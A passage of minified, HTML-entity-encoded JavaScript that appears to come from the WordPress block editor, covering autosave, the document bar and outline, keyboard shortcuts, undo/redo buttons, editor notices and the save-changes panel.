s=!!zc[t.name];return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(e,{...t},&quot;edit&quot;),t.isSelected&amp;&amp;s&amp;&amp;(0,L.jsx)(Gc,{...t}),s&amp;&amp;(0,L.jsx)(Fc,{})]})}),&quot;withPatternOverrideControls&quot;);function Gc(e){const t=(0,h.useBlockEditingMode)(),{hasPatternOverridesSource:s,isEditingSyncedPattern:o}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t,getEditedPostAttribute:s}=e(Ac);return{hasPatternOverridesSource:!!(0,y.getBlockBindingsSource)(&quot;core/pattern-overrides&quot;),isEditingSyncedPattern:t()===Vc.user&amp;&amp;s(&quot;meta&quot;)?.wp_pattern_sync_status!==Uc.unsynced&amp;&amp;s(&quot;wp_pattern_sync_status&quot;)!==Uc.unsynced}}),[]),n=e.attributes.metadata?.bindings,i=!!n&amp;&amp;Object.values(n).some((e=&gt;&quot;core/pattern-overrides&quot;===e.source)),r=o&amp;&amp;&quot;default&quot;===t,a=!o&amp;&amp;!!e.attributes.metadata?.name&amp;&amp;&quot;disabled&quot;!==t&amp;&amp;i;return s?(0,L.jsxs)(L.Fragment,{children:[r&amp;&amp;(0,L.jsx)(Lc,{...e}),a&amp;&amp;(0,L.jsx)(Oc,{...e})]}):null}(0,m.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/with-pattern-override-controls&quot;,Hc);class $c extends u.Component{constructor(e){super(e),this.needsAutosave=!(!e.isDirty||!e.isAutosaveable)}componentDidMount(){this.props.disableIntervalChecks||this.setAutosaveTimer()}componentDidUpdate(e){this.props.disableIntervalChecks?this.props.editsReference!==e.editsReference&amp;&amp;this.props.autosave():(this.props.interval!==e.interval&amp;&amp;(clearTimeout(this.timerId),this.setAutosaveTimer()),this.props.isDirty&amp;&amp;(!this.props.isAutosaving||e.isAutosaving)?this.props.editsReference!==e.editsReference&amp;&amp;(this.needsAutosave=!0):this.needsAutosave=!1)}componentWillUnmount(){clearTimeout(this.timerId)}setAutosaveTimer(e=1e3*this.props.interval){this.timerId=setTimeout((()=&gt;{this.autosaveTimerHandler()}),e)}autosaveTimerHandler(){this.props.isAutosaveable?(this.needsAutosave&amp;&amp;(this.needsAutosave=!1,this.props.autosave()),this.setAutosaveTimer()):this.setAutosaveTimer(1e3)}render(){return null}}const Wc=(0,p.compose)([(0,c.withSelect)(((e,t)=&gt;{const{getReferenceByDistinctEdits:s}=e(d.store),{isEditedPostDirty:o,isEditedPostAutosaveable:n,isAutosavingPost:i,getEditorSettings:r}=e(Ac),{interval:a=r().autosaveInterval}=t;return{editsReference:s(),isDirty:o(),isAutosaveable:n(),isAutosaving:i(),interval:a}})),(0,c.withDispatch)(((e,t)=&gt;({autosave(){const{autosave:s=e(Ac).autosave}=t;s()}})))])($c),Zc=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z&quot;})}),Yc=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z&quot;})}),Kc=window.wp.dom;function qc(e){const{isFrontPage:t,isPostsPage:s}=(0,c.useSelect)((t=&gt;{const{canUser:s,getEditedEntityRecord:o}=t(d.store),n=s(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?o(&quot;root&quot;,&quot;site&quot;):void 0,i=parseInt(e,10);return{isFrontPage:n?.page_on_front===i,isPostsPage:n?.page_for_posts===i}}));return t?(0,fs.__)(&quot;Homepage&quot;):!!s&amp;&amp;(0,fs.__)(&quot;Posts Page&quot;)}const Qc=(0,Uo.__unstableMotion)(Uo.Button);function Xc(e){const{postId:t,postType:s,postTypeLabel:o,documentTitle:n,isNotFound:i,templateTitle:r,onNavigateToPreviousEntityRecord:a,isTemplatePreview:l}=(0,c.useSelect)((e=&gt;{var t;const{getCurrentPostType:s,getCurrentPostId:o,getEditorSettings:n,getRenderingMode:i}=e(Ac),{getEditedEntityRecord:r,getPostType:a,getCurrentTheme:l,isResolving:c}=e(d.store),u=s(),p=o(),m=r(&quot;postType&quot;,u,p),{default_template_types:h=[]}=null!==(t=l())&amp;&amp;void 0!==t?t:{},g=Y({templateTypes:h,template:m}),_=a(u)?.labels?.singular_name;return{postId:p,postType:u,postTypeLabel:_,documentTitle:m.title,isNotFound:!m&amp;&amp;!c(&quot;getEditedEntityRecord&quot;,&quot;postType&quot;,u,p),templateTitle:g.title,onNavigateToPreviousEntityRecord:n().onNavigateToPreviousEntityRecord,isTemplatePreview:&quot;template-locked&quot;===i()}}),[]),{open:m}=(0,c.useDispatch)(ya.store),g=(0,p.useReducedMotion)(),_=A.includes(s),f=!!a,b=_?r:n,y=e.title||b,x=e.icon,v=qc(t),S=(0,u.useRef)(!1);return(0,u.useEffect)((()=&gt;{S.current=!0}),[]),(0,L.jsxs)(&quot;div&quot;,{className:Di(&quot;editor-document-bar&quot;,{&quot;has-back-button&quot;:f}),children:[(0,L.jsx)(Uo.__unstableAnimatePresence,{children:f&amp;&amp;(0,L.jsx)(Qc,{className:&quot;editor-document-bar__back&quot;,icon:(0,fs.isRTL)()?Zc:Yc,onClick:e=&gt;{e.stopPropagation(),a()},size:&quot;compact&quot;,initial:!!S.current&amp;&amp;{opacity:0,transform:&quot;translateX(15%)&quot;},animate:{opacity:1,transform:&quot;translateX(0%)&quot;},exit:{opacity:0,transform:&quot;translateX(15%)&quot;},transition:g?{duration:0}:void 0,children:(0,fs.__)(&quot;Back&quot;)})}),!_&amp;&amp;l&amp;&amp;(0,L.jsx)(h.BlockIcon,{icon:W,className:&quot;editor-document-bar__icon-layout&quot;}),i?(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)(&quot;Document not found&quot;)}):(0,L.jsxs)(Uo.Button,{className:&quot;editor-document-bar__command&quot;,onClick:()=&gt;m(),size:&quot;compact&quot;,children:[(0,L.jsxs)(Uo.__unstableMotion.div,{className:&quot;editor-document-bar__title&quot;,initial:!!S.current&amp;&amp;{opacity:0,transform:f?&quot;translateX(15%)&quot;:&quot;translateX(-15%)&quot;},animate:{opacity:1,transform:&quot;translateX(0%)&quot;},transition:g?{duration:0}:void 0,children:[x&amp;&amp;(0,L.jsx)(h.BlockIcon,{icon:x}),(0,L.jsxs)(Uo.__experimentalText,{size:&quot;body&quot;,as:&quot;h1&quot;,children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-title&quot;,children:y?(0,Kc.__unstableStripHTML)(y):(0,fs.__)(&quot;No title&quot;)}),v&amp;&amp;(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-type-label&quot;,children:`· ${v}`}),o&amp;&amp;!e.title&amp;&amp;!v&amp;&amp;(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-type-label&quot;,children:`· ${(0,Lo.decodeEntities)(o)}`})]})]},f),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__shortcut&quot;,children:wl.displayShortcut.primary(&quot;k&quot;)})]})]})}const Jc=window.wp.richText,ed=({children:e,isValid:t,isDisabled:s,level:o,href:n,onSelect:i})=&gt;(0,L.jsx)(&quot;li&quot;,{className:Di(&quot;document-outline__item&quot;,`is-${o.toLowerCase()}`,{&quot;is-invalid&quot;:!t,&quot;is-disabled&quot;:s}),children:(0,L.jsxs)(&quot;a&quot;,{href:n,className:&quot;document-outline__button&quot;,&quot;aria-disabled&quot;:s,onClick:function(e){s?e.preventDefault():i()},children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;document-outline__emdash&quot;,&quot;aria-hidden&quot;:&quot;true&quot;}),(0,L.jsx)(&quot;strong&quot;,{className:&quot;document-outline__level&quot;,children:o}),(0,L.jsx)(&quot;span&quot;,{className:&quot;document-outline__item-content&quot;,children:e})]})}),td=(0,L.jsx)(&quot;em&quot;,{children:(0,fs.__)(&quot;(Empty heading)&quot;)}),sd=[(0,L.jsx)(&quot;br&quot;,{},&quot;incorrect-break&quot;),(0,L.jsx)(&quot;em&quot;,{children:(0,fs.__)(&quot;(Incorrect heading level)&quot;)},&quot;incorrect-message&quot;)],od=[(0,L.jsx)(&quot;br&quot;,{},&quot;incorrect-break-h1&quot;),(0,L.jsx)(&quot;em&quot;,{children:(0,fs.__)(&quot;(Your theme may already use a H1 for the post title)&quot;)},&quot;incorrect-message-h1&quot;)],nd=[(0,L.jsx)(&quot;br&quot;,{},&quot;incorrect-break-multiple-h1&quot;),(0,L.jsx)(&quot;em&quot;,{children:(0,fs.__)(&quot;(Multiple H1 headings are not recommended)&quot;)},&quot;incorrect-message-multiple-h1&quot;)];function id(){return(0,L.jsxs)(Uo.SVG,{width:&quot;138&quot;,height:&quot;148&quot;,viewBox:&quot;0 0 138 148&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:[(0,L.jsx)(Uo.Rect,{width:&quot;138&quot;,height:&quot;148&quot;,rx:&quot;4&quot;,fill:&quot;#F0F6FC&quot;}),(0,L.jsx)(Uo.Line,{x1:&quot;44&quot;,y1:&quot;28&quot;,x2:&quot;24&quot;,y2:&quot;28&quot;,stroke:&quot;#DDDDDD&quot;}),(0,L.jsx)(Uo.Rect,{x:&quot;48&quot;,y:&quot;16&quot;,width:&quot;27&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#DDDDDD&quot;}),(0,L.jsx)(Uo.Path,{d:&quot;M54.7585 32V23.2727H56.6037V26.8736H60.3494V23.2727H62.1903V32H60.3494V28.3949H56.6037V32H54.7585ZM67.4574 23.2727V32H65.6122V25.0241H65.5611L63.5625 26.277V24.6406L65.723 23.2727H67.4574Z&quot;,fill:&quot;black&quot;}),(0,L.jsx)(Uo.Line,{x1:&quot;55&quot;,y1:&quot;59&quot;,x2:&quot;24&quot;,y2:&quot;59&quot;,stroke:&quot;#DDDDDD&quot;}),(0,L.jsx)(Uo.Rect,{x:&quot;59&quot;,y:&quot;47&quot;,width:&quot;29&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#DDDDDD&quot;}),(0,L.jsx)(Uo.Path,{d:&quot;M65.7585 63V54.2727H67.6037V57.8736H71.3494V54.2727H73.1903V63H71.3494V59.3949H67.6037V63H65.7585ZM74.6605 63V61.6705L77.767 58.794C78.0313 58.5384 78.2528 58.3082 78.4318 58.1037C78.6136 57.8991 78.7514 57.6989 78.8452 57.5028C78.9389 57.304 78.9858 57.0895 78.9858 56.8594C78.9858 56.6037 78.9276 56.3835 78.8111 56.1989C78.6946 56.0114 78.5355 55.8679 78.3338 55.7685C78.1321 55.6662 77.9034 55.6151 77.6477 55.6151C77.3807 55.6151 77.1477 55.669 76.9489 55.777C76.75 55.8849 76.5966 56.0398 76.4886 56.2415C76.3807 56.4432 76.3267 56.6832 76.3267 56.9616H74.5753C74.5753 56.3906 74.7045 55.8949 74.9631 55.4744C75.2216 55.054 75.5838 54.7287 76.0497 54.4986C76.5156 54.2685 77.0526 54.1534 77.6605 54.1534C78.2855 54.1534 78.8295 54.2642 79.2926 54.4858C79.7585 54.7045 80.1207 55.0085 80.3793 55.3977C80.6378 55.7869 80.767 56.233 80.767 56.7358C80.767 57.0653 80.7017 57.3906 80.571 57.7116C80.4432 58.0327 80.2145 58.3892 79.8849 58.7812C79.5554 59.1705 79.0909 59.6378 78.4915 60.1832L77.2173 61.4318V61.4915H80.8821V63H74.6605Z&quot;,fill:&quot;black&quot;}),(0,L.jsx)(Uo.Line,{x1:&quot;80&quot;,y1:&quot;90&quot;,x2:&quot;24&quot;,y2:&quot;90&quot;,stroke:&quot;#DDDDDD&quot;}),(0,L.jsx)(Uo.Rect,{x:&quot;84&quot;,y:&quot;78&quot;,width:&quot;30&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#F0B849&quot;}),(0,L.jsx)(Uo.Path,{d:&quot;M90.7585 94V85.2727H92.6037V88.8736H96.3494V85.2727H98.1903V94H96.3494V90.3949H92.6037V94H90.7585ZM99.5284 92.4659V91.0128L103.172 85.2727H104.425V87.2841H103.683L101.386 90.919V90.9872H106.564V92.4659H99.5284ZM103.717 94V92.0227L103.751 91.3793V85.2727H105.482V94H103.717Z&quot;,fill:&quot;black&quot;}),(0,L.jsx)(Uo.Line,{x1:&quot;66&quot;,y1:&quot;121&quot;,x2:&quot;24&quot;,y2:&quot;121&quot;,stroke:&quot;#DDDDDD&quot;}),(0,L.jsx)(Uo.Rect,{x:&quot;70&quot;,y:&quot;109&quot;,width:&quot;29&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#DDDDDD&quot;}),(0,L.jsx)(Uo.Path,{d:&quot;M76.7585 125V116.273H78.6037V119.874H82.3494V116.273H84.1903V125H82.3494V121.395H78.6037V125H76.7585ZM88.8864 125.119C88.25 125.119 87.6832 125.01 87.1861 124.791C86.6918 124.57 86.3011 124.266 86.0142 123.879C85.7301 123.49 85.5838 123.041 85.5753 122.533H87.4332C87.4446 122.746 87.5142 122.933 87.642 123.095C87.7727 123.254 87.946 123.378 88.1619 123.466C88.3778 123.554 88.6207 123.598 88.8906 123.598C89.1719 123.598 89.4205 123.548 89.6364 123.449C89.8523 123.349 90.0213 123.212 90.1435 123.036C90.2656 122.859 90.3267 122.656 90.3267 122.426C90.3267 122.193 90.2614 121.987 90.1307 121.808C90.0028 121.626 89.8182 121.484 89.5767 121.382C89.3381 121.28 89.054 121.229 88.7244 121.229H87.9105V119.874H88.7244C89.0028 119.874 89.2486 119.825 89.4616 119.729C89.6776 119.632 89.8452 119.499 89.9645 119.328C90.0838 119.155 90.1435 118.953 90.1435 118.723C90.1435 118.504 90.0909 118.312 89.9858 118.148C89.8835 117.98 89.7386 117.849 89.5511 117.756C89.3665 117.662 89.1506 117.615 88.9034 117.615C88.6534 117.615 88.4247 117.661 88.2173 117.751C88.0099 117.839 87.8438 117.966 87.7188 118.131C87.5938 118.295 87.527 118.489 87.5185 118.71H85.75C85.7585 118.207 85.902 117.764 86.1804 117.381C86.4588 116.997 86.8338 116.697 87.3054 116.482C87.7798 116.263 88.3153 116.153 88.9119 116.153C89.5142 116.153 90.0412 116.263 90.4929 116.482C90.9446 116.7 91.2955 116.996 91.5455 117.368C91.7983 117.737 91.9233 118.152 91.9205 118.612C91.9233 119.101 91.7713 119.509 91.4645 119.835C91.1605 120.162 90.7642 120.369 90.2756 120.457V120.526C90.9176 120.608 91.4063 120.831 91.7415 121.195C92.0795 121.555 92.2472 122.007 92.2443 122.55C92.2472 123.047 92.1037 123.489 91.8139 123.875C91.527 124.261 91.1307 124.565 90.625 124.787C90.1193 125.009 89.5398 125.119 88.8864 125.119Z&quot;,fill:&quot;black&quot;})]})}const rd=(e=[])=&gt;e.filter((e=&gt;&quot;core/heading&quot;===e.name)).map((e=&gt;({...e,level:e.attributes.level,isEmpty:ad(e)}))),ad=e=&gt;!e.attributes.content||0===e.attributes.content.trim().length;function ld({onSelect:e,hasOutlineItemsDisabled:t}){const{selectBlock:s}=(0,c.useDispatch)(h.store),{title:o,isTitleSupported:n}=(0,c.useSelect)((e=&gt;{var t;const{getEditedPostAttribute:s}=e(Ac),{getPostType:o}=e(d.store),n=o(s(&quot;type&quot;));return{title:s(&quot;title&quot;),isTitleSupported:null!==(t=n?.supports?.title)&amp;&amp;void 0!==t&amp;&amp;t}})),i=(0,c.useSelect)((e=&gt;{const{getClientIdsWithDescendants:t,getBlock:s}=e(h.store);return t().map((e=&gt;s(e)))})),r=(0,c.useSelect)((e=&gt;{if(&quot;post-only&quot;===e(Ac).getRenderingMode())return;const{getBlocksByName:t,getClientIdsOfDescendants:s}=e(h.store),[o]=t(&quot;core/post-content&quot;);return o?s(o):void 0}),[]),a=(0,u.useRef)(1),l=(0,u.useMemo)((()=&gt;rd(i)),[i]);if(l.length&lt;1)return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-document-outline has-no-headings&quot;,children:[(0,L.jsx)(id,{}),(0,L.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Navigate the structure of your document and address issues like empty or incorrect heading levels.&quot;)})]});const p=document.querySelector(&quot;.editor-post-title__input&quot;),m=n&amp;&amp;o&amp;&amp;p,g=l.reduce(((e,t)=&gt;({...e,[t.level]:(e[t.level]||0)+1})),{})[1]&gt;1;return(0,L.jsx)(&quot;div&quot;,{className:&quot;document-outline&quot;,children:(0,L.jsxs)(&quot;ul&quot;,{children:[m&amp;&amp;(0,L.jsx)(ed,{level:(0,fs.__)(&quot;Title&quot;),isValid:!0,onSelect:e,href:`#${p.id}`,isDisabled:t,children:o}),l.map((o=&gt;{const n=o.level&gt;a.current+1,i=!(o.isEmpty||n||!o.level||1===o.level&amp;&amp;(g||m));return a.current=o.level,(0,L.jsxs)(ed,{level:`H${o.level}`,isValid:i,isDisabled:t||(l=o.clientId,!(!Array.isArray(r)||r.includes(l))),href:`#block-${o.clientId}`,onSelect:()=&gt;{s(o.clientId),e?.()},children:[o.isEmpty?td:(0,Jc.getTextContent)((0,Jc.create)({html:o.attributes.content})),n&amp;&amp;sd,1===o.level&amp;&amp;g&amp;&amp;nd,m&amp;&amp;1===o.level&amp;&amp;!g&amp;&amp;od]},o.clientId);var l}))]})})}function cd({children:e}){const t=(0,c.useSelect)((e=&gt;{const{getGlobalBlockCount:t}=e(h.store);return t(&quot;core/heading&quot;)&gt;0}));return t?e:null}const dd=function(){const{registerShortcut:e}=(0,c.useDispatch)(vl.store);return(0,u.useEffect)((()=&gt;{e({name:&quot;core/editor/toggle-mode&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Switch between visual editor and code editor.&quot;),keyCombination:{modifier:&quot;secondary&quot;,character:&quot;m&quot;}}),e({name:&quot;core/editor/save&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Save your changes.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;s&quot;}}),e({name:&quot;core/editor/undo&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Undo your last changes.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;z&quot;}}),e({name:&quot;core/editor/redo&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Redo your last undo.&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;z&quot;},aliases:(0,wl.isAppleOS)()?[]:[{modifier:&quot;primary&quot;,character:&quot;y&quot;}]}),e({name:&quot;core/editor/toggle-list-view&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Show or hide the List View.&quot;),keyCombination:{modifier:&quot;access&quot;,character:&quot;o&quot;}}),e({name:&quot;core/editor/toggle-distraction-free&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Enter or exit distraction free mode.&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;\\&quot;}}),e({name:&quot;core/editor/toggle-sidebar&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Show or hide the Settings panel.&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;,&quot;}}),e({name:&quot;core/editor/keyboard-shortcuts&quot;,category:&quot;main&quot;,description:(0,fs.__)(&quot;Display these keyboard shortcuts.&quot;),keyCombination:{modifier:&quot;access&quot;,character:&quot;h&quot;}}),e({name:&quot;core/editor/next-region&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Navigate to the next part of the editor.&quot;),keyCombination:{modifier:&quot;ctrl&quot;,character:&quot;`&quot;},aliases:[{modifier:&quot;access&quot;,character:&quot;n&quot;}]}),e({name:&quot;core/editor/previous-region&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Navigate to the previous part of the editor.&quot;),keyCombination:{modifier:&quot;ctrlShift&quot;,character:&quot;`&quot;},aliases:[{modifier:&quot;access&quot;,character:&quot;p&quot;},{modifier:&quot;ctrlShift&quot;,character:&quot;~&quot;}]})}),[e]),(0,L.jsx)(h.BlockEditorKeyboardShortcuts.Register,{})},ud=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z&quot;})}),pd=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z&quot;})});const md=(0,u.forwardRef)((function(e,t){const s=(0,wl.isAppleOS)()?wl.displayShortcut.primaryShift(&quot;z&quot;):wl.displayShortcut.primary(&quot;y&quot;),o=(0,c.useSelect)((e=&gt;e(Ac).hasEditorRedo()),[]),{redo:n}=(0,c.useDispatch)(Ac);return(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,...e,ref:t,icon:(0,fs.isRTL)()?pd:ud,label:(0,fs.__)(&quot;Redo&quot;),shortcut:s,&quot;aria-disabled&quot;:!o,onClick:o?n:void 0,className:&quot;editor-history__redo&quot;})}));const hd=(0,u.forwardRef)((function(e,t){const s=(0,c.useSelect)((e=&gt;e(Ac).hasEditorUndo()),[]),{undo:o}=(0,c.useDispatch)(Ac);return(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,...e,ref:t,icon:(0,fs.isRTL)()?ud:pd,label:(0,fs.__)(&quot;Undo&quot;),shortcut:wl.displayShortcut.primary(&quot;z&quot;),&quot;aria-disabled&quot;:!s,onClick:s?o:void 0,className:&quot;editor-history__undo&quot;})}));function gd(){const[e,t]=(0,u.useState)(!1),s=(0,c.useSelect)((e=&gt;e(h.store).isValidTemplate()),[]),{setTemplateValidity:o,synchronizeTemplate:n}=(0,c.useDispatch)(h.store);return s?null:(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.Notice,{className:&quot;editor-template-validation-notice&quot;,isDismissible:!1,status:&quot;warning&quot;,actions:[{label:(0,fs.__)(&quot;Keep it as is&quot;),onClick:()=&gt;o(!0)},{label:(0,fs.__)(&quot;Reset the template&quot;),onClick:()=&gt;t(!0)}],children:(0,fs.__)(&quot;The content of your post doesn’t match the template assigned to your post type.&quot;)}),(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:e,confirmButtonText:(0,fs.__)(&quot;Reset&quot;),onConfirm:()=&gt;{t(!1),n()},onCancel:()=&gt;t(!1),size:&quot;medium&quot;,children:(0,fs.__)(&quot;Resetting the template may result in loss of content, do you want to continue?&quot;)})]})}const _d=function(){const{notices:e}=(0,c.useSelect)((e=&gt;({notices:e(_s.store).getNotices()})),[]),{removeNotice:t}=(0,c.useDispatch)(_s.store),s=e.filter((({isDismissible:e,type:t})=&gt;e&amp;&amp;&quot;default&quot;===t)),o=e.filter((({isDismissible:e,type:t})=&gt;!e&amp;&amp;&quot;default&quot;===t));return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.NoticeList,{notices:o,className:&quot;components-editor-notices__pinned&quot;}),(0,L.jsx)(Uo.NoticeList,{notices:s,className:&quot;components-editor-notices__dismissible&quot;,onRemove:t,children:(0,L.jsx)(gd,{})})]})},fd=-3;function bd(){const e=(0,c.useSelect)((e=&gt;e(_s.store).getNotices()),[]),{removeNotice:t}=(0,c.useDispatch)(_s.store),s=e.filter((({type:e})=&gt;&quot;snackbar&quot;===e)).slice(fd);return(0,L.jsx)(Uo.SnackbarList,{notices:s,className:&quot;components-editor-notices__snackbar&quot;,onRemove:t})}function yd({record:e,checked:t,onChange:s}){const{name:o,kind:n,title:i,key:r}=e,{entityRecordTitle:a,hasPostMetaChanges:l}=(0,c.useSelect)((e=&gt;{var t;if(&quot;postType&quot;!==n||&quot;wp_template&quot;!==o)return{entityRecordTitle:i,hasPostMetaChanges:$(e(Ac)).hasPostMetaChanges(o,r)};const s=e(d.store).getEditedEntityRecord(n,o,r),{default_template_types:a=[]}=null!==(t=e(d.store).getCurrentTheme())&amp;&amp;void 0!==t?t:{};return{entityRecordTitle:Y({template:s,templateTypes:a}).title,hasPostMetaChanges:$(e(Ac)).hasPostMetaChanges(o,r)}}),[o,n,i,r]);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.PanelRow,{children:(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,Lo.decodeEntities)(a)||(0,fs.__)(&quot;Untitled&quot;),checked:t,onChange:s,className:&quot;entities-saved-states__change-control&quot;})}),l&amp;&amp;(0,L.jsx)(&quot;ul&quot;,{className:&quot;entities-saved-states__changes&quot;,children:(0,L.jsx)(&quot;li&quot;,{children:(0,fs.__)(&quot;Post Meta.&quot;)})})]})}const{getGlobalStylesChanges:xd,GlobalStylesContext:vd}=$(h.privateApis);function Sd({record:e}){const{user:t}=(0,u.useContext)(vd),s=(0,c.useSelect)((t=&gt;t(d.store).getEntityRecord(e.kind,e.name,e.key)),[e.kind,e.name,e.key]),o=xd(t,s,{maxResults:10});return o.length?(0,L.jsx)(&quot;ul&quot;,{className:&quot;entities-saved-states__changes&quot;,children:o.map((e=&gt;(0,L.jsx)(&quot;li&quot;,{children:e},e)))}):null}function wd({record:e,count:t}){if(&quot;globalStyles&quot;===e?.name)return null;const s=function(e,t){switch(e){case&quot;site&quot;:return 1===t?(0,fs.__)(&quot;This change will affect your whole site.&quot;):(0,fs.__)(&quot;These changes will affect your whole site.&quot;);case&quot;wp_template&quot;:return(0,fs.__)(&quot;This change will affect other parts of your site that use this template.&quot;);case&quot;page&quot;:case&quot;post&quot;:return(0,fs.__)(&quot;The following has been modified.&quot;)}}(e?.name,t);return s?(0,L.jsx)(Uo.PanelRow,{children:s}):null}function kd({list:e,unselectedEntities:t,setUnselectedEntities:s}){const o=e.length,n=e[0];let i=(0,c.useSelect)((e=&gt;e(d.store).getEntityConfig(n.kind,n.name)),[n.kind,n.name]).label;return&quot;wp_template_part&quot;===n?.name&amp;&amp;(i=1===o?(0,fs.__)(&quot;Template Part&quot;):(0,fs.__)(&quot;Template Parts&quot;)),(0,L.jsxs)(Uo.PanelBody,{title:i,initialOpen:!0,className:&quot;entities-saved-states__panel-body&quot;,children:[(0,L.jsx)(wd,{record:n,count:o}),e.map((e=&gt;(0,L.jsx)(yd,{record:e,checked:!t.some((t=&gt;t.kind===e.kind&amp;&amp;t.name===e.name&amp;&amp;t.key===e.key&amp;&amp;t.property===e.property)),onChange:t=&gt;s(e,t)},e.key||e.property))),&quot;globalStyles&quot;===n?.name&amp;&amp;(0,L.jsx)(Sd,{record:n})]})}const Cd=()=&gt;{const{editedEntities:e,siteEdits:t,siteEntityConfig:s}=(0,c.useSelect)((e=&gt;{const{__experimentalGetDirtyEntityRecords:t,getEntityRecordEdits:s,getEntityConfig:o}=e(d.store);return{editedEntities:t(),siteEdits:s(&quot;root&quot;,&quot;site&quot;),siteEntityConfig:o(&quot;root&quot;,&quot;site&quot;)}}),[]),o=(0,u.useMemo)((()=&gt;{var o;const n=e.filter((e=&gt;!(&quot;root&quot;===e.kind&amp;&amp;&quot;site&quot;===e.name))),i=null!==(o=s?.meta?.labels)&amp;&amp;void 0!==o?o:{},r=[];for(const e in t)r.push({kind:&quot;root&quot;,name:&quot;site&quot;,title:i[e]||e,property:e});return[...n,...r]}),[e,t,s]),[n,i]=(0,u.useState)([]);return{dirtyEntityRecords:o,isDirty:o.length-n.length&gt;0,setUnselectedEntities:({kind:e,name:t,key:s,property:o},r)=&gt;{i(r?n.filter((n=&gt;n.kind!==e||n.name!==t||n.key!==s||n.property!==o)):[...n,{kind:e,name:t,key:s,property:o}])},unselectedEntities:n}};function Pd(e){return e}function jd({close:e,renderDialog:t,variant:s}){const o=Cd();return(0,L.jsx)(Ed,{close:e,renderDialog:t,variant:s,...o})}function Ed({additionalPrompt:e,close:t,onSave:s=Pd,saveEnabled:o,saveLabel:n=(0,fs.__)(&quot;Save&quot;),renderDialog:i,dirtyEntityRecords:r,isDirty:a,setUnselectedEntities:l,unselectedEntities:d,variant:m=&quot;default&quot;}){const h=(0,u.useRef)(),{saveDirtyEntities:g}=$((0,c.useDispatch)(Ac)),_=r.reduce(((e,t)=&gt;{const{name:s}=t;return e[s]||(e[s]=[]),e[s].push(t),e}),{}),{site:f,wp_template:b,wp_template_part:y,...x}=_,v=[f,b,y,...Object.values(x)].filter(Array.isArray),S=null!=o?o:a,w=(0,u.useCallback)((()=&gt;t()),[t]),[k,C]=(0,p.__experimentalUseDialog)({onClose:()=&gt;w()}),P=(0,p.useInstanceId)(Ed,&quot;entities-saved-states__panel-label&quot;),j=(0,p.useInstanceId)(Ed,&quot;entities-saved-states__panel-description&quot;),E=r.length?(0,fs.__)(&quot;Select the items you want to save.&quot;):void 0,T=&quot;inline&quot;===m,B=(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.FlexItem,{isBlock:!T,as:Uo.Button,variant:T?&quot;tertiary&quot;:&quot;secondary&quot;,size:T?void 